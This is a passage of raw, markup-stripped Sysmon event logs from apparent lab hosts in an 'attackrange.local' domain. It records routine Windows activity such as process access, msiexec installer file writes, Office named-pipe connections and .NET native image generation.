14:44:14.383{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.383{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.383{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.383{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.383{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3E-613B-DE08-00000000F001}7080c:\Windows\syswow64\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.383{7BD73061-6E8E-613B-1107-00000000F001}41165524C:\Windows\system32\msiexec.exe{7BD73061-6F3E-613B-DE08-00000000F001}7080c:\Windows\syswow64\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Windows\system32\Msi.dll+ba6f5|C:\Windows\system32\Msi.dll+16c8f4|C:\Windows\system32\Msi.dll+16cf6c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.394{7BD73061-6F3E-613B-DE08-00000000F001}7080C:\Windows\SysWOW64\msiexec.exe5.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Windows® installerWindows Installer - UnicodeMicrosoft Corporationmsiexec.exec:\Windows\syswow64\MsiExec.exe -Embedding 95B8F3CD062C78CC2D8A5ACB5DEACC1E E Global\MSI0000C:\Windows\SysWOW64\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=0BDEAEA7BB4AE7822416CD37EA8EE00D,SHA256=5C188CE4E21FAB002B4D669F91FA19341AB4260F83D798FDAC53229D675DB6BA,IMPHASH=B4730776DFCE61DBCD10D002E3D530E1{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\System32\msiexec.exeC:\Windows\system32\msiexec.exe /V 11241100x800000000000000042373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:14.383{7BD73061-6F3E-613B-DD08-00000000F001}5604C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\15e4-0\Microsoft.VisualStudio.Tools.Applications.ServerDocument.dll2021-09-10 14:44:14.383 18141800x800000000000000042372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.352{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.305{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.289{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.242{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\inprogressinstallinfo.ipiMD5=1270F2705DE624BDF4811FC849B9AE3D,SHA256=34AE83663C90DAE8499E72EEF7D81AD31775689BEC17CB42B0BEE359E2D5E457,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.227{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFBE7005D0A3E15309.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000042367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.227{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFB3F9863F662D6246.TMPMD5=1270F2705DE624BDF4811FC849B9AE3D,SHA256=34AE83663C90DAE8499E72EEF7D81AD31775689BEC17CB42B0BEE359E2D5E457,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.227{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF8D68E449C4C62198.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000042365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.227{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFD5AD85F3741809DD.TMPMD5=1270F2705DE624BDF4811FC849B9AE3D,SHA256=34AE83663C90DAE8499E72EEF7D81AD31775689BEC17CB42B0BEE359E2D5E457,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.227{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF3895C538A5E279C1.TMPMD5=8ECAEF41DD4DC0E5F29801B8579C94BB,SHA256=085E98D8E5FD7A49576A37ED822079D562359CC4C4F1775AB4CE182C284BCE20,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.227{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\Temp\WIN-DC-387-20210910-1444b.logMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.211{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b137.rbsMD5=AB38EABEBC34B42733B47CD9AA76C4C8,SHA256=BEFE3DF2E87DDA3623BB9A52A07050EF5702D212C2AF89E0534A9D6BFFFD321E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.211{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI5F61.tmpMD5=FCCDC45CA17E5180B40EFC28052BAC39,SHA256=4AB37B0F9C5FE3505E1ECFE0764AAA04838CF81F9E0A402425E057F7A251E621,IMPHASH=620AD7AB8901854C91622E052544AEE7truetrue 23542300x800000000000000042351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.195{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI5F60.tmpMD5=FCCDC45CA17E5180B40EFC28052BAC39,SHA256=4AB37B0F9C5FE3505E1ECFE0764AAA04838CF81F9E0A402425E057F7A251E621,IMPHASH=620AD7AB8901854C91622E052544AEE7truetrue 23542300x800000000000000042350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.180{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF889F0EE9EC7B7D01.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000042349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.180{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF10901666464CF248.TMPMD5=9CFA8BF91B4E569792DD93935CA53764,SHA256=8E7FD1A7B69DCE8BB84E04EEA907D3B4284E37B7961CB3C00AF28206C4D45C1A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.180{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF8A4EA30576E1E7E7.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000042347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.180{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFE96FDF9871250B87.TMPMD5=9CFA8BF91B4E569792DD93935CA53764,SHA256=8E7FD1A7B69DCE8BB84E04EEA907D3B4284E37B7961CB3C00AF28206C4D45C1A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.180{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI5D5B.tmpMD5=B3BEF52B9AD3C9780F37A3639218B9FC,SHA256=B1054E924EC5C3A9D4DBD20FD437DF10F7ED75F0B03DFD5DB156406B41BE8B0C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.164{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3E-613B-DD08-00000000F001}5604C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.148{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3E-613B-DD08-00000000F001}5604C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.148{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3E-613B-DD08-00000000F001}5604C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 18141800x800000000000000042342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.148{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.148{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.148{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.086{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.070{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3E-613B-DC08-00000000F001}5648C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000042337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.070{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b137.rbsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.070{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFC10F6D3CA1E74A45.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000042335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.070{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFEACDDB3CDAAAB65B.TMPMD5=9CFA8BF91B4E569792DD93935CA53764,SHA256=8E7FD1A7B69DCE8BB84E04EEA907D3B4284E37B7961CB3C00AF28206C4D45C1A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.055{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3E-613B-DC08-00000000F001}5648C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:14.055{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3E-613B-DC08-00000000F001}5648C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000042332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.039{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 11241100x800000000000000042331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:14.023{7BD73061-6F3D-613B-DB08-00000000F001}2892C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\b4c-0\Microsoft.VisualStudio.Tools.Applications.Runtime.dll2021-09-10 14:44:14.023 18141800x800000000000000042330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:14.023{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000013818Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:14.083{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 